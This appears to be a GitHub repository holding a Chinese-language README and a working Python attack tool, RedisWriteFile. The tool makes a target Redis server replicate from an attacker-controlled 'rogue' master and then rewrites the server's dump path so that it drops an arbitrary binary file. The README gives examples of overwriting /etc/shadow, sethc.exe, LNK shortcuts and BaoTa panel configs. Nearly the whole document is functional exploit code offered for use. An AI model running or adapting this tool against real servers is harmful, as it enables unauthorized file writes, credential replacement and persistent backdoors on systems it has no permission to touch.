├── dump.rdb ├── ie.gif ├── bt_gif.gif ├── sethc_ok.gif ├── README.md └── RedisWriteFile.py /dump.rdb: -------------------------------------------------------------------------------- 1 | Redis Write Test!~ 2 | -------------------------------------------------------------------------------- /ie.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r35tart/RedisWriteFile/HEAD/ie.gif -------------------------------------------------------------------------------- /bt_gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r35tart/RedisWriteFile/HEAD/bt_gif.gif -------------------------------------------------------------------------------- /sethc_ok.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r35tart/RedisWriteFile/HEAD/sethc_ok.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 此脚本是通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件 3 | 4 | 也可以用无杂质覆写 `Linux` 中的 `/etc/shadow` 5 | 6 | 用法: 7 | ``` 8 | ______ _ _ _ _ _ _ ______ _ _ 9 | | ___ \ | (_) | | | | (_) | | ___(_) | 10 | | |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ 11 | | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \ 12 | | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ 13 | \_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| 14 | 15 | Author : R3start 16 | Reference : redis-rogue-server.py 17 | 18 | Usage: rediswritefile.py [options] 19 | 20 | Options: 21 | -h, --help show this help message and exit 22 | --rhost=REMOTE_HOST target host 23 | --rport=REMOTE_PORT target redis port, default 6379 24 | --lhost=LOCAL_HOST rogue server ip 25 | --lport=LOCAL_PORT rogue server listen port, default 21000 26 | --rpath=Target_File_Path 27 | write to target file path, default '.' 28 | --rfile=Target_File_Name 29 | write to target file name, default dump.rdb 30 | --lfile=Local_File_Name 31 | Local file that needs to be written 32 | --auth=AUTH redis password 33 | -v, --verbose Show full data stream 34 | 35 | ``` 36 | 如覆写宝塔配置文件: 37 | 38 | ![bt.gif](https://github.com/r35tart/RedisWriteFile/raw/master/bt_gif.gif) 39 | 40 | 覆写 `sethc.exe`: 41 | 42 | ![sethc.gif](https://github.com/r35tart/RedisWriteFile/raw/master/sethc_ok.gif) 43 | 44 | 覆写 `LNK` : 45 | 46 | ![ie.gif](https://github.com/r35tart/RedisWriteFile/raw/master/ie.gif) 47 | -------------------------------------------------------------------------------- /RedisWriteFile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- encoding: utf-8 -*- 3 | ''' 4 | @File : RedisWriteFile.py 5 | @Time : 2020/05/22 22:55:13 6 | @Author : R3start 7 | @Version : 1.0 8 | ''' 9 | 10 | # 脚本介绍 11 | # 通过 Redis 主从写出无损文件 12 | 13 | import socket 14 | import sys 15 | from time import sleep 16 | from optparse import OptionParser 17 | 18 | CLRF = "\r\n" 19 | 20 | BANNER = ''' 21 | ______ _ _ _ _ _ _ ______ _ _ 22 | | ___ \ | (_) | | | | (_) | | ___(_) | 23 | | |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ 24 | | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \\ 25 | | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ 26 | \_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| 27 | 28 | Author : R3start 29 | Reference : redis-rogue-server.py 30 | ''' 31 | 32 | def encode_cmd_arr(arr): 33 | cmd = "" 34 | cmd += "*" + str(len(arr)) 35 | for arg in arr: 36 | cmd += CLRF + "$" + str(len(arg)) 37 | cmd += CLRF + arg 38 | cmd += "\r\n" 39 | return cmd 40 | 41 | def encode_cmd(raw_cmd): 42 | return encode_cmd_arr(raw_cmd.split("##")) 43 | 44 | def decode_cmd(cmd): 45 | if cmd.startswith("*"): 46 | raw_arr = cmd.strip().split("\r\n") 47 | return raw_arr[2::2] 48 | if cmd.startswith("$"): 49 | return cmd.split("\r\n", 2)[1] 50 | return cmd.strip().split(" ") 51 | 52 | def info(msg): 53 | print(f"\033[1;32;40m[info]\033[0m {msg}") 54 | 55 | def din(sock, cnt=4096): 56 | global verbose 57 | msg = sock.recv(cnt) 58 | if verbose: 59 | if len(msg) < 1000: 60 | print(f"\033[1;34;40m[->]\033[0m {msg}") 61 | else: 62 | print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") 63 | return msg.decode('gb18030') 64 | 65 | def dout(sock, msg): 66 | global verbose 67 | if type(msg) != bytes: 68 | msg = msg.encode() 69 | sock.send(msg) 70 | if verbose: 71 | if len(msg) < 1000: 72 | print(f"\033[1;33;40m[<-]\033[0m {msg}") 73 | else: 74 | print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") 75 | 76 | def decode_shell_result(s): 77 | return "\n".join(s.split("\r\n")[1:-1]) 78 | 79 | class Remote: 80 | def __init__(self, rhost, rport): 81 | self._host = rhost 82 | self._port = rport 83 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 84 | self._sock.connect((self._host, self._port)) 85 | 86 | def send(self, msg): 87 | dout(self._sock, msg) 88 | 89 | def recv(self, cnt=65535): 90 | return din(self._sock, cnt) 91 | 92 | def do(self, cmd): 93 | self.send(encode_cmd(cmd)) 94 | buf = self.recv() 95 | return buf 96 | 97 | 98 | class RogueServer: 99 | def __init__(self, lhost, lport): 100 | self._host = lhost 101 | self._port = lport 102 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 103 | self._sock.bind(('0.0.0.0', self._port)) 104 | self._sock.listen(10) 105 | 106 | def close(self): 107 | self._sock.close() 108 | 109 | def handle(self, data): 110 | cmd_arr = decode_cmd(data) 111 | resp = "" 112 | phase = 0 113 | if cmd_arr[0].startswith("PING"): 114 | resp = "+PONG" + CLRF 115 | phase = 1 116 | elif cmd_arr[0].startswith("REPLCONF"): 117 | resp = "+OK" + CLRF 118 | phase = 2 119 | elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): 120 | resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF 121 | resp += "$" + str(len(payload)) + CLRF 122 | resp = resp.encode() 123 | resp += payload + CLRF.encode() 124 | phase = 3 125 | return resp, phase 126 | 127 | def exp(self): 128 | cli, addr = self._sock.accept() 129 | while True: 130 | data = din(cli, 1024) 131 | if len(data) == 0: 132 | break 133 | resp, phase = self.handle(data) 134 | dout(cli, resp) 135 | if phase == 3: 136 | break 137 | 138 | 139 | def runserver(rhost, rport, lhost, lport,rpath,rfile): 140 | try: 141 | remote = Remote(rhost, rport) 142 | if auth: 143 | check = remote.do(f"AUTH##{auth}") 144 | if "invalid password" in check : 145 | info("Redis 认证密码错误!") 146 | exit() 147 | else: 148 | infos = remote.do("INFO") 149 | if "NOAUTH" in infos: 150 | info("Redis 需要密码认证") 151 | exit() 152 | info("连接恶意主服务器: %s:%s " % (lhost,lport)) 153 | info("连接恶意主状态: %s " % (remote.do(f"SLAVEOF##{lhost}##{lport}"))) 154 | info("设置写出路径为: %s " % (str(rpath))) 155 | info("设置写出路径状态: %s " % (remote.do(f"CONFIG##SET##dir##{str(rpath)}"))) 156 | info("设置写出文件为: %s" % (rfile)) 157 | info("设置写出文件状态: %s " % (remote.do(f"CONFIG##SET##dbfilename##{rfile}"))) 158 | sleep(2) 159 | rogue = RogueServer(lhost, lport) 160 | rogue.exp() 161 | sleep(2) 162 | info("断开主从连接: %s" % (remote.do("SLAVEOF##NO##ONE"))) 163 | info("恢复原始文件名: %s" % (remote.do("CONFIG##SET##dbfilename##dump.rdb"))) 164 | rogue.close() 165 | except Exception as e: 166 | print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e)) 167 | if __name__ == '__main__': 168 | print(BANNER) 169 | parser = OptionParser() 170 | parser.add_option("--rhost", dest="rh", type="string", 171 | help="target host", metavar="REMOTE_HOST") 172 | parser.add_option("--rport", dest="rp", type="int", 173 | help="target redis port, default 6379", default=6379, 174 | metavar="REMOTE_PORT") 175 | parser.add_option("--lhost", dest="lh", type="string", 176 | help="rogue server ip", metavar="LOCAL_HOST") 177 | parser.add_option("--lport", dest="lp", type="int", 178 | help="rogue server listen port, default 21000", default=21000, 179 | metavar="LOCAL_PORT") 180 | parser.add_option("--rpath", dest="rpath", type="string", 181 | help="write to target file path, default '.'", metavar="Target_File_Path",default='.') 182 | parser.add_option("--rfile", dest="rfile", type="string", 183 | help="write to target file name, default dump.rdb", metavar="Target_File_Name",default='dump.rdb') 184 | parser.add_option("--lfile", dest="lfile", type="string", 185 | help="Local file that needs to be written", metavar="Local_File_Name",default='dump.rdb') 186 | parser.add_option("--auth", dest="auth", type="string", help="redis password") 187 | parser.add_option("-v", "--verbose", action="store_true", default=False, 188 | help="Show full data stream") 189 | 190 | (options, args) = parser.parse_args() 191 | global verbose, payload, filename, auth 192 | auth = options.auth 193 | localfile = options.lfile 194 | verbose = options.verbose 195 | payload = open(localfile, "rb").read() 196 | 197 | if not options.rh or not options.lh: 198 | info("请输入完整参数,-h 查看使用帮助") 199 | exit() 200 | 201 | info(f"TARGET {options.rh}:{options.rp}") 202 | info(f"SERVER {options.lh}:{options.lp}") 203 | try: 204 | runserver(options.rh, options.rp, options.lh, options.lp,options.rpath,options.rfile) 205 | except Exception as e: 206 | info(repr(e)) 207 | --------------------------------------------------------------------------------